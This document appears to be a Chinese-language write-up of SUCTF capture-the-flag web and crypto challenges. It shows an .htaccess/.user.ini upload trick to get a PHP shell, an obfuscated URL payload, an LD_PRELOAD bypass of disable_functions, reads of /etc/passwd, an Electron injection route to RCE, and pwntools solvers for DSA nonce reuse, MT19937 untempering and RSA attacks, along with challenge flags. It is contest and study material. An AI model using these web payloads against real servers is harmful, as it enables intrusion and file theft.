CheckIn
.user.ini & script php
SUCTF{U5er_1n1_01d_TR1ck}
https://gist.github.com/ed22c1ad2dc22c56f266a92635a9591c#file-str_or_str-php
http://47.111.59.243:9001/?_=${%A0%A0%A0%A0^%FF%E7%E5%F4}{%A0}();&%A0=phpinfo
然后就能调用 get_the_flag 函数了,利用htaccess 加个新的后缀来 getshell,参考: https://xz.aliyun.com/t/3937
.htaccess 内容
\x00\x00\x8a\x39\x8a\x39
AddType application/x-httpd-php .vk
php_value auto_append_file "php://filter/convert.base64-decode/resource=v.vk"
拿到 shell 发现有 open_basedir 和 disable_function 限制,限制了命令执行,利用 LD_PRELOAD 来进行绕过:
利用数学符号绕过
㏄
file://suctf.%E3%8F%84/etc/passwd
任意文件读取:
读 nginx 配置:
读 flag:
SUCTF{67cc389fc00bd1e9db2956f3e46f74ad}
解题思路
下载程序之后,进入 Resources 目录,解包 app.asar
$ asar e app.asar app/
然后就得到了整个程序的源代码了
app/src/list.html 可以看到分享给管理员的逻辑:
测试发现musicinfo的 header 部分存在js 注入
main 的 nodeintegration是开的,尝试直接 require process 来 rce,发现不行,猜测list 没开。
参考国外 ppt,发现可以通过接触 process 来绕过 。
剩下的就是
直接尝试覆盖所有的 Function.prototype,然后尝试 pr.js 的几个全局变量,发现 request 发送请求时会触发。
guess_game
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
from pwnlib.util.iters import bruteforce
from parse import *
import string
from hashlib import sha256,md5
import time
# context.log_level="debug"
from hashlib import *
from Crypto.Util.number import *
from gmpy2 import *
def hash(msg):
return int(md5(msg).hexdigest(), 16)
def solve_for(params, set1, set2):
p, q, g = params
msg1, r1, s1 = set1
msg2, r2, s2 = set2
c1, c2 = msg1, msg2
for k1 in range(1, 1024):
# print k1
for k2 in range(1, 1024):
priv = (c2*k1*s1 - c1*k2*s2) * invert(r1*k2*s2 - r2*k1*s1, q) % q
if pubkey == pow(g, priv, p):
# print priv
return priv
if len(sys.argv)==1:
conn=process(pwn_file)
pid=conn.pid
else:
conn=remote("47.111.59.243",8001)
def brute_force(c,s):
return bruteforce(lambda x:md5(x+c).hexdigest()[0:5]==s,'0123456789abcdef',length=5)
conn.recvuntil('something for me?')
conn.sendline('')
conn.recvuntil("p:")
p=int(conn.recvline().strip())
conn.recvuntil("q:")
q=int(conn.recvline().strip())
conn.recvuntil("g:")
g=int(conn.recvline().strip())
conn.recvuntil("y:")
y=int(conn.recvline().strip())
conn.recvuntil('let me show you some before:')
conn.sendline('')
rs=[]
for i in range(12):
conn.recvuntil('Its MD5 digest:')
msg=int(conn.recvline().strip())
r,s=eval(conn.recvline().strip())
rs.append((msg,r,s))
conn.recvuntil('Its MD5 digest is:')
mmm=int(conn.recv(128,timeout=1).strip())
params=(p,q,g)
pubkey=y
privkey=1
set1=()
set2=()
for i in range(len(rs)):
for j in range(len(rs)):
if i!=j:
if rs[i][1]==rs[j][1]:
set1=rs[i]
set2=rs[j]
privkey=solve_for(params, set1, set2)
k=17
r=pow(g,k,p)%q
s=invert(k, q) * ( mmm + privkey * r) % q
conn.sendline(str(r)+", "+str(int(s)))
conn.interactive()
解题思路
def rec(m):
m=m ^ m >> 19
t=bin(m)[2:]
t_r15=t[-15:]
t2=int(t_r15+'0'*17,2)& 2245263360
m=m^t2
t=bin(m)[2:]
t_r9=t[-9:]
r18_9=int(t_r9+'0'*9,2)&2029229568
t_r18_9=bin(m^r18_9)[2:][-18:-9]
r27_18=int(t_r18_9+'0'*18,2)&2029229568
t_r27_18=bin(m^r27_18)[2:][-27:-18]
t3=int('0'*5+t_r27_18+t_r18_9+t_r9,2)<<9 & 2029229568
m=m^t3
t=bin(m)[2:].zfill(32)
q=bin(m ^ m >> 13)[2:].zfill(32)
m1=int(t[:13]+q[13:26]+"0"*6,2)
r6=bin(m ^ m1 >> 13)[2:].zfill(32)[-6:]
m=int(t[:13]+q[13:26]+r6,2)
return m
q=[0x641460a9,0xe3953b1a,0xaa21f3a2]
flag="flag{"
for i in q:
flag=flag+hex(rec(i))[2:]
flag+="}"
print(flag)
解题思路
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
# context.log_level="debug"
from pwnlib.util.iters import bruteforce
from parse import *
import string
from hashlib import sha256,md5
import time
from gmpy2 import *
conn=remote("47.111.59.243",8003)
def brute_force(c,s):
return bruteforce(lambda x:md5(x+c).hexdigest()[0:5]==s,'0123456789abcdef',length=5)
conn.recvuntil('string that')
data=conn.recvline()
s=parse(" md5(str + {})[0:5] == {}\n",data)
conn.sendline(brute_force(s[0],s[1]))
conn.recvuntil('>')
c=[]
n=[]
for i in range(4):
conn.recvuntil('cs[{0}] ='.format(i))
c.append(int(conn.recvline().strip().replace('0x','').replace('L',''),16))
conn.recvuntil('ns[{0}] ='.format(i))
n.append(int(conn.recvline().strip().replace('0x','').replace('L',''),16))
for i in range(4):
p=[]
for j in range(4):
if i!=j:
p.append(gcd(n[i],n[j]))
p.append(n[i]/(p[0]*p[1]*p[2]))
phi=1
for j in range(4):
phi=phi*(p[j]-1)
a=(n[i]%phi)
b=phi
d=invert(a,b)
m=pow(c[i],d,n[i])
conn.sendline(hex(m).replace('L',''))
conn.interactive()
RSA
解题思路
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
# context.log_level="debug"
from pwnlib.util.iters import bruteforce
from parse import *
import string
from hashlib import sha256,md5
import time
from gmpy2 import *
import decimal
conn=remote("47.111.59.243",9421)
def oracle(c1):
conn.recvuntil('Quit.')
conn.sendline('D')
conn.recvuntil('message:')
conn.sendline(str(c1))
res = conn.recvline().strip()
if 'even' in res :
return 0
if 'odd' in res:
return 1
else:
assert (0)
def partial(c, n):
global c_of_2
k = n.bit_length()
decimal.getcontext().prec = k
lower = decimal.Decimal(0)
upper = decimal.Decimal(n)
for i in range(k):
possible_plaintext = (lower + upper) / 2
flag = oracle(c)
if not flag:
upper = possible_plaintext
else:
lower = possible_plaintext
c = (c * c_of_2) % n
print i, flag, int(upper - lower)
return int(upper)
if __name__ == '__main__':
def brute_force(c,s):
return bruteforce(lambda x:md5(x+c).hexdigest()[0:5]==s,'0123456789abcdef',length=5)
conn.recvuntil('string that')
data=conn.recvline()
s=parse(" md5(str + {})[0:5] == {}\n",data)
conn.sendline(brute_force(s[0],s[1]))
conn.recvuntil('flag!\n')
for i in range(1,4):
conn.recvuntil('Round {0}\n'.format(i))
conn.recvuntil('n =')
n=int(conn.recvline().strip())
conn.recvuntil('e =')
e=int(conn.recvline().strip())
conn.recvuntil('c =')
c=int(conn.recvline().strip())
print(n,e,c)
c_of_2 = pow(2, e, n)
m = partial((c * c_of_2) % n, n)
conn.sendline('G')
conn.sendline(str(m))
conn.interactive()
PWN和Reverse部分请看SUCTF-WriteUP(下)!